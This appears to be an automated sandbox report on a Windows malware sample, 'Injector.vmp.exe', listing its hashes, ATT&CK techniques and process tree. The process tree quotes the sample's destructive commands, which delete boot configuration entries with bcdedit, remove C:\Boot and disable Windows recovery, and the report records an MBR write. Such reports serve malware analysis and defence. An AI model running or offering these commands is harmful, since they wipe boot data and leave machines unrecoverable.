eef5bc422997334c207603e4780ff1b9a53c94babfadd5454a9fdf6e53c2b7b8

Analysis

user interaction
yes
max time kernel
111s
max time network
112s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
17/08/2026, 00:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Injector.vmp.exe
Size 13.3MB
Sample260817-a4gapazgng
SHA256 eef5bc422997334c207603e4780ff1b9a53c94babfadd5454a9fdf6e53c2b7b8
MD5 c821271e063ab6ede8919789b65478d2
SHA1 8fd6a8270ae8f6ddad4c458e142334d84a88c017
SHA512 6e5e836a5baf5a7cedf3dbea982dd0194023015bf47507778b59c111340f7295d2507dba6f1ee39f68a4281103e2382f73edc2e59a5716c6397b17ecf8be87ef
SSDEEP 196608:IKBPWyzkflodeYtHfDzZoCKbuYW3CypX2Oiqi+iHdiXOiLFcLqfzo7vcX+O4YOrP:hcADz6CWyt23gGhihcefzorFIO
TLSH
T1C5E6128564D092BCC8458678E2451AFDF0D97CCA8DF99926FFC748227A30D58C8F9B72
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

bootkit defense_evasion execution persistence

Malware Config

Signatures

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	Injector.vmp.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	Injector.vmp.exe

Modifies boot configuration data using bcdedit 3 IoCs

pid	Process
4496	bcdedit.exe
3664	bcdedit.exe
624	bcdedit.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	Injector.vmp.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4164	cmd.exe
2084	cmd.exe
2608	cmd.exe
1084	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5084	Injector.vmp.exe
5084	Injector.vmp.exe
5084	Injector.vmp.exe
5084	Injector.vmp.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeSystemEnvironmentPrivilege	5084	Injector.vmp.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 5084 wrote to memory of 2608	5084	Injector.vmp.exe	88
PID 2608 wrote to memory of 4496	2608	cmd.exe	90
PID 5084 wrote to memory of 1084	5084	Injector.vmp.exe	91
PID 1084 wrote to memory of 3664	1084	cmd.exe	93
PID 5084 wrote to memory of 4164	5084	Injector.vmp.exe	94
PID 4164 wrote to memory of 624	4164	cmd.exe	96
PID 5084 wrote to memory of 2404	5084	Injector.vmp.exe	97
PID 5084 wrote to memory of 2084	5084	Injector.vmp.exe	99
PID 2084 wrote to memory of 1624	2084	cmd.exe	101

C:\Users\Admin\AppData\Local\Temp\Injector.vmp.exe
"C:\Users\Admin\AppData\Local\Temp\Injector.vmp.exe"
1⤵
- Maps connected drives based on registry
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {bootmgr} /f >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2608
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {bootmgr} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4496
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {current} /f >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1084
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {default} /f >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4164
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {default} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rmdir /s /q C:\Boot >nul 2>&1
  2⤵
  PID:2404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2084
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    - Drops file in Windows directory
    PID:1624